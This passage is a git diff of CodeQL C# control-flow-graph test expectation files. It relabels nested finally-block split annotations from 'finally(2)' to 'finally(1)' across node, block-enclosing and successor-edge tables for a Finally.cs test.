Finally.cs:209:17:209:47 | [finally: exception(ExceptionA), finally(2): exception(Exception)] if (...) ... | Finally.cs:195:10:195:12 | M10 | -| Finally.cs:209:17:209:47 | [finally: exception(ExceptionA), finally(2): exception(ExceptionB)] if (...) ... | Finally.cs:195:10:195:12 | M10 | +| Finally.cs:209:17:209:47 | [finally: exception(ExceptionA), finally(1): exception(Exception)] if (...) ... | Finally.cs:195:10:195:12 | M10 | +| Finally.cs:209:17:209:47 | [finally: exception(ExceptionA), finally(1): exception(ExceptionB)] if (...) ... | Finally.cs:195:10:195:12 | M10 | | Finally.cs:209:17:209:47 | [finally: exception(ExceptionA)] if (...) ... | Finally.cs:195:10:195:12 | M10 | | Finally.cs:209:17:209:47 | if (...) ... | Finally.cs:195:10:195:12 | M10 | -| Finally.cs:209:21:209:22 | [finally(2): exception(Exception)] access to parameter b3 | Finally.cs:195:10:195:12 | M10 | -| Finally.cs:209:21:209:22 | [finally(2): exception(ExceptionB)] access to parameter b3 | Finally.cs:195:10:195:12 | M10 | -| Finally.cs:209:21:209:22 | [finally: exception(Exception), finally(2): exception(Exception)] access to parameter b3 | Finally.cs:195:10:195:12 | M10 | -| Finally.cs:209:21:209:22 | [finally: exception(Exception), finally(2): exception(ExceptionB)] access to parameter b3 | Finally.cs:195:10:195:12 | M10 | +| Finally.cs:209:21:209:22 | [finally(1): exception(Exception)] access to parameter b3 | Finally.cs:195:10:195:12 | M10 | +| Finally.cs:209:21:209:22 | [finally(1): exception(ExceptionB)] access to parameter b3 | Finally.cs:195:10:195:12 | M10 | +| Finally.cs:209:21:209:22 | [finally: exception(Exception), finally(1): exception(Exception)] access to parameter b3 | Finally.cs:195:10:195:12 | M10 | +| Finally.cs:209:21:209:22 | [finally: exception(Exception), finally(1): exception(ExceptionB)] access to parameter b3 | Finally.cs:195:10:195:12 | M10 | | Finally.cs:209:21:209:22 | [finally: exception(Exception)] access to parameter b3 | Finally.cs:195:10:195:12 | M10 | -| Finally.cs:209:21:209:22 | [finally: exception(ExceptionA), finally(2): exception(Exception)] access to parameter b3 | Finally.cs:195:10:195:12 | M10 | -| Finally.cs:209:21:209:22 | [finally: exception(ExceptionA), finally(2): exception(ExceptionB)] access to parameter b3 | Finally.cs:195:10:195:12 | M10 | +| Finally.cs:209:21:209:22 | [finally: exception(ExceptionA), finally(1): exception(Exception)] access to parameter b3 | Finally.cs:195:10:195:12 | M10 | +| Finally.cs:209:21:209:22 | [finally: exception(ExceptionA), finally(1): exception(ExceptionB)] access to parameter b3 | Finally.cs:195:10:195:12 | M10 | | Finally.cs:209:21:209:22 | [finally: exception(ExceptionA)] access to parameter b3 | Finally.cs:195:10:195:12 | M10 | | Finally.cs:209:21:209:22 | access to parameter b3 | Finally.cs:195:10:195:12 | M10 | -| Finally.cs:209:25:209:47 | [finally(2): exception(Exception)] throw ...; | Finally.cs:195:10:195:12 | M10 | -| Finally.cs:209:25:209:47 | [finally(2): exception(ExceptionB)] throw ...; | Finally.cs:195:10:195:12 | M10 | -| Finally.cs:209:25:209:47 | [finally: exception(Exception), finally(2): exception(Exception)] throw ...; | Finally.cs:195:10:195:12 | M10 | -| Finally.cs:209:25:209:47 | [finally: exception(Exception), finally(2): exception(ExceptionB)] throw ...; | Finally.cs:195:10:195:12 | M10 | +| Finally.cs:209:25:209:47 | [finally(1): exception(Exception)] throw ...; | Finally.cs:195:10:195:12 | M10 | +| Finally.cs:209:25:209:47 | [finally(1): exception(ExceptionB)] throw ...; | Finally.cs:195:10:195:12 | M10 | +| Finally.cs:209:25:209:47 | [finally: exception(Exception), finally(1): exception(Exception)] throw ...; | Finally.cs:195:10:195:12 | M10 | +| Finally.cs:209:25:209:47 | [finally: exception(Exception), finally(1): exception(ExceptionB)] throw ...; | Finally.cs:195:10:195:12 | M10 | | Finally.cs:209:25:209:47 | [finally: exception(Exception)] throw ...; | Finally.cs:195:10:195:12 | M10 | -| Finally.cs:209:25:209:47 | [finally: exception(ExceptionA), finally(2): exception(Exception)] throw ...; | Finally.cs:195:10:195:12 | M10 | -| Finally.cs:209:25:209:47 | [finally: exception(ExceptionA), finally(2): exception(ExceptionB)] throw ...; | Finally.cs:195:10:195:12 | M10 | +| Finally.cs:209:25:209:47 | [finally: exception(ExceptionA), finally(1): exception(Exception)] throw ...; | Finally.cs:195:10:195:12 | M10 | +| Finally.cs:209:25:209:47 | [finally: exception(ExceptionA), finally(1): exception(ExceptionB)] throw ...; | Finally.cs:195:10:195:12 | M10 | | Finally.cs:209:25:209:47 | [finally: exception(ExceptionA)] throw ...; | Finally.cs:195:10:195:12 | M10 | | Finally.cs:209:25:209:47 | throw ...; | Finally.cs:195:10:195:12 | M10 | -| Finally.cs:209:31:209:46 | [finally(2): exception(Exception)] object creation of type ExceptionC | Finally.cs:195:10:195:12 | M10 | -| Finally.cs:209:31:209:46 | [finally(2): exception(ExceptionB)] object creation of type ExceptionC | Finally.cs:195:10:195:12 | M10 | -| Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(2): exception(Exception)] object creation of type ExceptionC | Finally.cs:195:10:195:12 | M10 | -| Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(2): exception(ExceptionB)] object creation of type ExceptionC | Finally.cs:195:10:195:12 | M10 | +| Finally.cs:209:31:209:46 | [finally(1): exception(Exception)] object creation of type ExceptionC | Finally.cs:195:10:195:12 | M10 | +| Finally.cs:209:31:209:46 | [finally(1): exception(ExceptionB)] object creation of type ExceptionC | Finally.cs:195:10:195:12 | M10 | +| Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(1): exception(Exception)] object creation of type ExceptionC | Finally.cs:195:10:195:12 | M10 | +| Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(1): exception(ExceptionB)] object creation of type ExceptionC | Finally.cs:195:10:195:12 | M10 | | Finally.cs:209:31:209:46 | [finally: exception(Exception)] object creation of type ExceptionC | Finally.cs:195:10:195:12 | M10 | -| Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(2): exception(Exception)] object creation of type ExceptionC | Finally.cs:195:10:195:12 | M10 | -| Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(2): exception(ExceptionB)] object creation of type ExceptionC | Finally.cs:195:10:195:12 | M10 | +| Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(1): exception(Exception)] object creation of type ExceptionC | Finally.cs:195:10:195:12 | M10 | +| Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(1): exception(ExceptionB)] object creation of type ExceptionC | Finally.cs:195:10:195:12 | M10 | | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA)] object creation of type ExceptionC | Finally.cs:195:10:195:12 | M10 | | Finally.cs:209:31:209:46 | object creation of type ExceptionC | Finally.cs:195:10:195:12 | M10 | | Finally.cs:211:13:211:16 | [finally: exception(Exception)] this access | Finally.cs:195:10:195:12 | M10 | @@ -2541,41 +2541,41 @@ nodeEnclosing | Finally.cs:247:31:247:46 | [finally: exception(Exception)] object creation of type ExceptionA | Finally.cs:233:10:233:12 | M12 | | Finally.cs:247:31:247:46 | [finally: exception(ExceptionA)] object creation of type ExceptionA | Finally.cs:233:10:233:12 | M12 | | Finally.cs:247:31:247:46 | object creation of type ExceptionA | Finally.cs:233:10:233:12 | M12 | -| Finally.cs:250:17:252:17 | [finally(2): exception(Exception)] {...} | Finally.cs:233:10:233:12 | M12 | -| Finally.cs:250:17:252:17 | [finally(2): exception(ExceptionA)] {...} | Finally.cs:233:10:233:12 | M12 | -| Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(2): exception(Exception)] {...} | Finally.cs:233:10:233:12 | M12 | -| Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(2): exception(ExceptionA)] {...} | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:250:17:252:17 | [finally(1): exception(Exception)] {...} | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:250:17:252:17 | [finally(1): exception(ExceptionA)] {...} | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(1): exception(Exception)] {...} | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(1): exception(ExceptionA)] {...} | Finally.cs:233:10:233:12 | M12 | | Finally.cs:250:17:252:17 | [finally: exception(Exception)] {...} | Finally.cs:233:10:233:12 | M12 | -| Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(2): exception(Exception)] {...} | Finally.cs:233:10:233:12 | M12 | -| Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(2): exception(ExceptionA)] {...} | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(1): exception(Exception)] {...} | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(1): exception(ExceptionA)] {...} | Finally.cs:233:10:233:12 | M12 | | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA)] {...} | Finally.cs:233:10:233:12 | M12 | | Finally.cs:250:17:252:17 | {...} | Finally.cs:233:10:233:12 | M12 | -| Finally.cs:251:21:251:54 | [finally(2): exception(Exception)] call to method WriteLine | Finally.cs:233:10:233:12 | M12 | -| Finally.cs:251:21:251:54 | [finally(2): exception(ExceptionA)] call to method WriteLine | Finally.cs:233:10:233:12 | M12 | -| Finally.cs:251:21:251:54 | [finally: exception(Exception), finally(2): exception(Exception)] call to method WriteLine | Finally.cs:233:10:233:12 | M12 | -| Finally.cs:251:21:251:54 | [finally: exception(Exception), finally(2): exception(ExceptionA)] call to method WriteLine | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:251:21:251:54 | [finally(1): exception(Exception)] call to method WriteLine | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:251:21:251:54 | [finally(1): exception(ExceptionA)] call to method WriteLine | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:251:21:251:54 | [finally: exception(Exception), finally(1): exception(Exception)] call to method WriteLine | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:251:21:251:54 | [finally: exception(Exception), finally(1): exception(ExceptionA)] call to method WriteLine | Finally.cs:233:10:233:12 | M12 | | Finally.cs:251:21:251:54 | [finally: exception(Exception)] call to method WriteLine | Finally.cs:233:10:233:12 | M12 | -| Finally.cs:251:21:251:54 | [finally: exception(ExceptionA), finally(2): exception(Exception)] call to method WriteLine | Finally.cs:233:10:233:12 | M12 | -| Finally.cs:251:21:251:54 | [finally: exception(ExceptionA), finally(2): exception(ExceptionA)] call to method WriteLine | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:251:21:251:54 | [finally: exception(ExceptionA), finally(1): exception(Exception)] call to method WriteLine | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:251:21:251:54 | [finally: exception(ExceptionA), finally(1): exception(ExceptionA)] call to method WriteLine | Finally.cs:233:10:233:12 | M12 | | Finally.cs:251:21:251:54 | [finally: exception(ExceptionA)] call to method WriteLine | Finally.cs:233:10:233:12 | M12 | | Finally.cs:251:21:251:54 | call to method WriteLine | Finally.cs:233:10:233:12 | M12 | | Finally.cs:251:21:251:55 | ...; | Finally.cs:233:10:233:12 | M12 | -| Finally.cs:251:21:251:55 | [finally(2): exception(Exception)] ...; | Finally.cs:233:10:233:12 | M12 | -| Finally.cs:251:21:251:55 | [finally(2): exception(ExceptionA)] ...; | Finally.cs:233:10:233:12 | M12 | -| Finally.cs:251:21:251:55 | [finally: exception(Exception), finally(2): exception(Exception)] ...; | Finally.cs:233:10:233:12 | M12 | -| Finally.cs:251:21:251:55 | [finally: exception(Exception), finally(2): exception(ExceptionA)] ...; | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:251:21:251:55 | [finally(1): exception(Exception)] ...; | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:251:21:251:55 | [finally(1): exception(ExceptionA)] ...; | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:251:21:251:55 | [finally: exception(Exception), finally(1): exception(Exception)] ...; | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:251:21:251:55 | [finally: exception(Exception), finally(1): exception(ExceptionA)] ...; | Finally.cs:233:10:233:12 | M12 | | Finally.cs:251:21:251:55 | [finally: exception(Exception)] ...; | Finally.cs:233:10:233:12 | M12 | -| Finally.cs:251:21:251:55 | [finally: exception(ExceptionA), finally(2): exception(Exception)] ...; | Finally.cs:233:10:233:12 | M12 | -| Finally.cs:251:21:251:55 | [finally: exception(ExceptionA), finally(2): exception(ExceptionA)] ...; | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:251:21:251:55 | [finally: exception(ExceptionA), finally(1): exception(Exception)] ...; | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:251:21:251:55 | [finally: exception(ExceptionA), finally(1): exception(ExceptionA)] ...; | Finally.cs:233:10:233:12 | M12 | | Finally.cs:251:21:251:55 | [finally: exception(ExceptionA)] ...; | Finally.cs:233:10:233:12 | M12 | | Finally.cs:251:39:251:53 | "Inner finally" | Finally.cs:233:10:233:12 | M12 | -| Finally.cs:251:39:251:53 | [finally(2): exception(Exception)] "Inner finally" | Finally.cs:233:10:233:12 | M12 | -| Finally.cs:251:39:251:53 | [finally(2): exception(ExceptionA)] "Inner finally" | Finally.cs:233:10:233:12 | M12 | -| Finally.cs:251:39:251:53 | [finally: exception(Exception), finally(2): exception(Exception)] "Inner finally" | Finally.cs:233:10:233:12 | M12 | -| Finally.cs:251:39:251:53 | [finally: exception(Exception), finally(2): exception(ExceptionA)] "Inner finally" | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:251:39:251:53 | [finally(1): exception(Exception)] "Inner finally" | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:251:39:251:53 | [finally(1): exception(ExceptionA)] "Inner finally" | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:251:39:251:53 | [finally: exception(Exception), finally(1): exception(Exception)] "Inner finally" | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:251:39:251:53 | [finally: exception(Exception), finally(1): exception(ExceptionA)] "Inner finally" | Finally.cs:233:10:233:12 | M12 | | Finally.cs:251:39:251:53 | [finally: exception(Exception)] "Inner finally" | Finally.cs:233:10:233:12 | M12 | -| Finally.cs:251:39:251:53 | [finally: exception(ExceptionA), finally(2): exception(Exception)] "Inner finally" | Finally.cs:233:10:233:12 | M12 | -| Finally.cs:251:39:251:53 | [finally: exception(ExceptionA), finally(2): exception(ExceptionA)] "Inner finally" | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:251:39:251:53 | [finally: exception(ExceptionA), finally(1): exception(Exception)] "Inner finally" | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:251:39:251:53 | [finally: exception(ExceptionA), finally(1): exception(ExceptionA)] "Inner finally" | Finally.cs:233:10:233:12 | M12 | | Finally.cs:251:39:251:53 | [finally: exception(ExceptionA)] "Inner finally" | Finally.cs:233:10:233:12 | M12 | | Finally.cs:254:13:254:44 | call to method WriteLine | Finally.cs:233:10:233:12 | M12 | | Finally.cs:254:13:254:45 | ...; | Finally.cs:233:10:233:12 | M12 | @@ -5194,12 +5194,12 @@ blockEnclosing | Finally.cs:93:31:93:45 | [finally: continue] object creation of type Exception | Finally.cs:74:10:74:11 | M4 | | Finally.cs:93:31:93:45 | [finally: return] object creation of type Exception | Finally.cs:74:10:74:11 | M4 | | Finally.cs:93:31:93:45 | object creation of type Exception | Finally.cs:74:10:74:11 | M4 | -| Finally.cs:96:17:98:17 | [finally(2): exception(Exception)] {...} | Finally.cs:74:10:74:11 | M4 | -| Finally.cs:96:17:98:17 | [finally: break, finally(2): exception(Exception)] {...} | Finally.cs:74:10:74:11 | M4 | +| Finally.cs:96:17:98:17 | [finally(1): exception(Exception)] {...} | Finally.cs:74:10:74:11 | M4 | +| Finally.cs:96:17:98:17 | [finally: break, finally(1): exception(Exception)] {...} | Finally.cs:74:10:74:11 | M4 | | Finally.cs:96:17:98:17 | [finally: break] {...} | Finally.cs:74:10:74:11 | M4 | -| Finally.cs:96:17:98:17 | [finally: continue, finally(2): exception(Exception)] {...} | Finally.cs:74:10:74:11 | M4 | +| Finally.cs:96:17:98:17 | [finally: continue, finally(1): exception(Exception)] {...} | Finally.cs:74:10:74:11 | M4 | | Finally.cs:96:17:98:17 | [finally: continue] {...} | Finally.cs:74:10:74:11 | M4 | -| Finally.cs:96:17:98:17 | [finally: return, finally(2): exception(Exception)] {...} | Finally.cs:74:10:74:11 | M4 | +| Finally.cs:96:17:98:17 | [finally: return, finally(1): exception(Exception)] {...} | Finally.cs:74:10:74:11 | M4 | | Finally.cs:96:17:98:17 | [finally: return] {...} | Finally.cs:74:10:74:11 | M4 | | Finally.cs:96:17:98:17 | {...} | Finally.cs:74:10:74:11 | M4 | | Finally.cs:103:10:103:11 | enter M5 | Finally.cs:103:10:103:11 | M5 | @@ -5334,19 +5334,19 @@ blockEnclosing | Finally.cs:205:31:205:46 | [finally: exception(Exception)] object creation of type ExceptionB | Finally.cs:195:10:195:12 | M10 | | Finally.cs:205:31:205:46 | [finally: exception(ExceptionA)] object creation of type ExceptionB | Finally.cs:195:10:195:12 | M10 | | Finally.cs:205:31:205:46 | object creation of type ExceptionB | Finally.cs:195:10:195:12 | M10 | -| Finally.cs:208:13:210:13 | [finally(2): exception(Exception)] {...} | Finally.cs:195:10:195:12 | M10 | -| Finally.cs:208:13:210:13 | [finally: exception(Exception), finally(2): exception(Exception)] {...} | Finally.cs:195:10:195:12 | M10 | +| Finally.cs:208:13:210:13 | [finally(1): exception(Exception)] {...} | Finally.cs:195:10:195:12 | M10 | +| Finally.cs:208:13:210:13 | [finally: exception(Exception), finally(1): exception(Exception)] {...} | Finally.cs:195:10:195:12 | M10 | | Finally.cs:208:13:210:13 | [finally: exception(Exception)] {...} | Finally.cs:195:10:195:12 | M10 | -| Finally.cs:208:13:210:13 | [finally: exception(ExceptionA), finally(2): exception(Exception)] {...} | Finally.cs:195:10:195:12 | M10 | +| Finally.cs:208:13:210:13 | [finally: exception(ExceptionA), finally(1): exception(Exception)] {...} | Finally.cs:195:10:195:12 | M10 | | Finally.cs:208:13:210:13 | [finally: exception(ExceptionA)] {...} | Finally.cs:195:10:195:12 | M10 | | Finally.cs:208:13:210:13 | {...} | Finally.cs:195:10:195:12 | M10 | -| Finally.cs:209:31:209:46 | [finally(2): exception(Exception)] object creation of type ExceptionC | Finally.cs:195:10:195:12 | M10 | -| Finally.cs:209:31:209:46 | [finally(2): exception(ExceptionB)] object creation of type ExceptionC | Finally.cs:195:10:195:12 | M10 | -| Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(2): exception(Exception)] object creation of type ExceptionC | Finally.cs:195:10:195:12 | M10 | -| Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(2): exception(ExceptionB)] object creation of type ExceptionC | Finally.cs:195:10:195:12 | M10 | +| Finally.cs:209:31:209:46 | [finally(1): exception(Exception)] object creation of type ExceptionC | Finally.cs:195:10:195:12 | M10 | +| Finally.cs:209:31:209:46 | [finally(1): exception(ExceptionB)] object creation of type ExceptionC | Finally.cs:195:10:195:12 | M10 | +| Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(1): exception(Exception)] object creation of type ExceptionC | Finally.cs:195:10:195:12 | M10 | +| Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(1): exception(ExceptionB)] object creation of type ExceptionC | Finally.cs:195:10:195:12 | M10 | | Finally.cs:209:31:209:46 | [finally: exception(Exception)] object creation of type ExceptionC | Finally.cs:195:10:195:12 | M10 | -| Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(2): exception(Exception)] object creation of type ExceptionC | Finally.cs:195:10:195:12 | M10 | -| Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(2): exception(ExceptionB)] object creation of type ExceptionC | Finally.cs:195:10:195:12 | M10 | +| Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(1): exception(Exception)] object creation of type ExceptionC | Finally.cs:195:10:195:12 | M10 | +| Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(1): exception(ExceptionB)] object creation of type ExceptionC | Finally.cs:195:10:195:12 | M10 | | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA)] object creation of type ExceptionC | Finally.cs:195:10:195:12 | M10 | | Finally.cs:209:31:209:46 | object creation of type ExceptionC | Finally.cs:195:10:195:12 | M10 | | Finally.cs:211:13:211:29 | ...; | Finally.cs:195:10:195:12 | M10 | @@ -5369,10 +5369,10 @@ blockEnclosing | Finally.cs:247:31:247:46 | [finally: exception(Exception)] object creation of type ExceptionA | Finally.cs:233:10:233:12 | M12 | | Finally.cs:247:31:247:46 | [finally: exception(ExceptionA)] object creation of type ExceptionA | Finally.cs:233:10:233:12 | M12 | | Finally.cs:247:31:247:46 | object creation of type ExceptionA | Finally.cs:233:10:233:12 | M12 | -| Finally.cs:250:17:252:17 | [finally(2): exception(Exception)] {...} | Finally.cs:233:10:233:12 | M12 | -| Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(2): exception(Exception)] {...} | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:250:17:252:17 | [finally(1): exception(Exception)] {...} | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(1): exception(Exception)] {...} | Finally.cs:233:10:233:12 | M12 | | Finally.cs:250:17:252:17 | [finally: exception(Exception)] {...} | Finally.cs:233:10:233:12 | M12 | -| Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(2): exception(Exception)] {...} | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(1): exception(Exception)] {...} | Finally.cs:233:10:233:12 | M12 | | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA)] {...} | Finally.cs:233:10:233:12 | M12 | | Finally.cs:250:17:252:17 | {...} | Finally.cs:233:10:233:12 | M12 | | Finally.cs:254:13:254:44 | call to method WriteLine | Finally.cs:233:10:233:12 | M12 | diff --git a/csharp/ql/test/library-tests/controlflow/graph/NodeGraph.expected b/csharp/ql/test/library-tests/controlflow/graph/NodeGraph.expected index e3dbcd54fe5..15c97dd2c42 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/NodeGraph.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/NodeGraph.expected @@ -2043,49 +2043,49 @@ | Finally.cs:92:30:92:30 | [finally: break] 3 | Finally.cs:92:25:92:30 | [finally: break] ... == ... | semmle.label | successor | | Finally.cs:92:30:92:30 | [finally: continue] 3 | Finally.cs:92:25:92:30 | [finally: continue] ... == ... | semmle.label | successor | | Finally.cs:92:30:92:30 | [finally: return] 3 | Finally.cs:92:25:92:30 | [finally: return] ... == ... | semmle.label | successor | -| Finally.cs:93:25:93:46 | [finally: break] throw ...; | Finally.cs:96:17:98:17 | [finally: break, finally(2): exception(Exception)] {...} | semmle.label | exception(Exception) | -| Finally.cs:93:25:93:46 | [finally: continue] throw ...; | Finally.cs:96:17:98:17 | [finally: continue, finally(2): exception(Exception)] {...} | semmle.label | exception(Exception) | -| Finally.cs:93:25:93:46 | [finally: return] throw ...; | Finally.cs:96:17:98:17 | [finally: return, finally(2): exception(Exception)] {...} | semmle.label | exception(Exception) | -| Finally.cs:93:25:93:46 | throw ...; | Finally.cs:96:17:98:17 | [finally(2): exception(Exception)] {...} | semmle.label | exception(Exception) | +| Finally.cs:93:25:93:46 | [finally: break] throw ...; | Finally.cs:96:17:98:17 | [finally: break, finally(1): exception(Exception)] {...} | semmle.label | exception(Exception) | +| Finally.cs:93:25:93:46 | [finally: continue] throw ...; | Finally.cs:96:17:98:17 | [finally: continue, finally(1): exception(Exception)] {...} | semmle.label | exception(Exception) | +| Finally.cs:93:25:93:46 | [finally: return] throw ...; | Finally.cs:96:17:98:17 | [finally: return, finally(1): exception(Exception)] {...} | semmle.label | exception(Exception) | +| Finally.cs:93:25:93:46 | throw ...; | Finally.cs:96:17:98:17 | [finally(1): exception(Exception)] {...} | semmle.label | exception(Exception) | | Finally.cs:93:31:93:45 | [finally: break] object creation of type Exception | Finally.cs:93:25:93:46 | [finally: break] throw ...; | semmle.label | successor | -| Finally.cs:93:31:93:45 | [finally: break] object creation of type Exception | Finally.cs:96:17:98:17 | [finally: break, finally(2): exception(Exception)] {...} | semmle.label | exception(Exception) | +| Finally.cs:93:31:93:45 | [finally: break] object creation of type Exception | Finally.cs:96:17:98:17 | [finally: break, finally(1): exception(Exception)] {...} | semmle.label | exception(Exception) | | Finally.cs:93:31:93:45 | [finally: continue] object creation of type Exception | Finally.cs:93:25:93:46 | [finally: continue] throw ...; | semmle.label | successor | -| Finally.cs:93:31:93:45 | [finally: continue] object creation of type Exception | Finally.cs:96:17:98:17 | [finally: continue, finally(2): exception(Exception)] {...} | semmle.label | exception(Exception) | +| Finally.cs:93:31:93:45 | [finally: continue] object creation of type Exception | Finally.cs:96:17:98:17 | [finally: continue, finally(1): exception(Exception)] {...} | semmle.label | exception(Exception) | | Finally.cs:93:31:93:45 | [finally: return] object creation of type Exception | Finally.cs:93:25:93:46 | [finally: return] throw ...; | semmle.label | successor | -| Finally.cs:93:31:93:45 | [finally: return] object creation of type Exception | Finally.cs:96:17:98:17 | [finally: return, finally(2): exception(Exception)] {...} | semmle.label | exception(Exception) | +| Finally.cs:93:31:93:45 | [finally: return] object creation of type Exception | Finally.cs:96:17:98:17 | [finally: return, finally(1): exception(Exception)] {...} | semmle.label | exception(Exception) | | Finally.cs:93:31:93:45 | object creation of type Exception | Finally.cs:93:25:93:46 | throw ...; | semmle.label | successor | -| Finally.cs:93:31:93:45 | object creation of type Exception | Finally.cs:96:17:98:17 | [finally(2): exception(Exception)] {...} | semmle.label | exception(Exception) | -| Finally.cs:96:17:98:17 | [finally(2): exception(Exception)] {...} | Finally.cs:97:21:97:24 | [finally(2): exception(Exception)] ...; | semmle.label | successor | -| Finally.cs:96:17:98:17 | [finally: break, finally(2): exception(Exception)] {...} | Finally.cs:97:21:97:24 | [finally: break, finally(2): exception(Exception)] ...; | semmle.label | successor | +| Finally.cs:93:31:93:45 | object creation of type Exception | Finally.cs:96:17:98:17 | [finally(1): exception(Exception)] {...} | semmle.label | exception(Exception) | +| Finally.cs:96:17:98:17 | [finally(1): exception(Exception)] {...} | Finally.cs:97:21:97:24 | [finally(1): exception(Exception)] ...; | semmle.label | successor | +| Finally.cs:96:17:98:17 | [finally: break, finally(1): exception(Exception)] {...} | Finally.cs:97:21:97:24 | [finally: break, finally(1): exception(Exception)] ...; | semmle.label | successor | | Finally.cs:96:17:98:17 | [finally: break] {...} | Finally.cs:97:21:97:24 | [finally: break] ...; | semmle.label | successor | -| Finally.cs:96:17:98:17 | [finally: continue, finally(2): exception(Exception)] {...} | Finally.cs:97:21:97:24 | [finally: continue, finally(2): exception(Exception)] ...; | semmle.label | successor | +| Finally.cs:96:17:98:17 | [finally: continue, finally(1): exception(Exception)] {...} | Finally.cs:97:21:97:24 | [finally: continue, finally(1): exception(Exception)] ...; | semmle.label | successor | | Finally.cs:96:17:98:17 | [finally: continue] {...} | Finally.cs:97:21:97:24 | [finally: continue] ...; | semmle.label | successor | -| Finally.cs:96:17:98:17 | [finally: return, finally(2): exception(Exception)] {...} | Finally.cs:97:21:97:24 | [finally: return, finally(2): exception(Exception)] ...; | semmle.label | successor | +| Finally.cs:96:17:98:17 | [finally: return, finally(1): exception(Exception)] {...} | Finally.cs:97:21:97:24 | [finally: return, finally(1): exception(Exception)] ...; | semmle.label | successor | | Finally.cs:96:17:98:17 | [finally: return] {...} | Finally.cs:97:21:97:24 | [finally: return] ...; | semmle.label | successor | | Finally.cs:96:17:98:17 | {...} | Finally.cs:97:21:97:24 | ...; | semmle.label | successor | -| Finally.cs:97:21:97:21 | [finally(2): exception(Exception)] access to local variable i | Finally.cs:97:21:97:23 | [finally(2): exception(Exception)] ...-- | semmle.label | successor | -| Finally.cs:97:21:97:21 | [finally: break, finally(2): exception(Exception)] access to local variable i | Finally.cs:97:21:97:23 | [finally: break, finally(2): exception(Exception)] ...-- | semmle.label | successor | +| Finally.cs:97:21:97:21 | [finally(1): exception(Exception)] access to local variable i | Finally.cs:97:21:97:23 | [finally(1): exception(Exception)] ...-- | semmle.label | successor | +| Finally.cs:97:21:97:21 | [finally: break, finally(1): exception(Exception)] access to local variable i | Finally.cs:97:21:97:23 | [finally: break, finally(1): exception(Exception)] ...-- | semmle.label | successor | | Finally.cs:97:21:97:21 | [finally: break] access to local variable i | Finally.cs:97:21:97:23 | [finally: break] ...-- | semmle.label | successor | -| Finally.cs:97:21:97:21 | [finally: continue, finally(2): exception(Exception)] access to local variable i | Finally.cs:97:21:97:23 | [finally: continue, finally(2): exception(Exception)] ...-- | semmle.label | successor | +| Finally.cs:97:21:97:21 | [finally: continue, finally(1): exception(Exception)] access to local variable i | Finally.cs:97:21:97:23 | [finally: continue, finally(1): exception(Exception)] ...-- | semmle.label | successor | | Finally.cs:97:21:97:21 | [finally: continue] access to local variable i | Finally.cs:97:21:97:23 | [finally: continue] ...-- | semmle.label | successor | -| Finally.cs:97:21:97:21 | [finally: return, finally(2): exception(Exception)] access to local variable i | Finally.cs:97:21:97:23 | [finally: return, finally(2): exception(Exception)] ...-- | semmle.label | successor | +| Finally.cs:97:21:97:21 | [finally: return, finally(1): exception(Exception)] access to local variable i | Finally.cs:97:21:97:23 | [finally: return, finally(1): exception(Exception)] ...-- | semmle.label | successor | | Finally.cs:97:21:97:21 | [finally: return] access to local variable i | Finally.cs:97:21:97:23 | [finally: return] ...-- | semmle.label | successor | | Finally.cs:97:21:97:21 | access to local variable i | Finally.cs:97:21:97:23 | ...-- | semmle.label | successor | | Finally.cs:97:21:97:23 | ...-- | 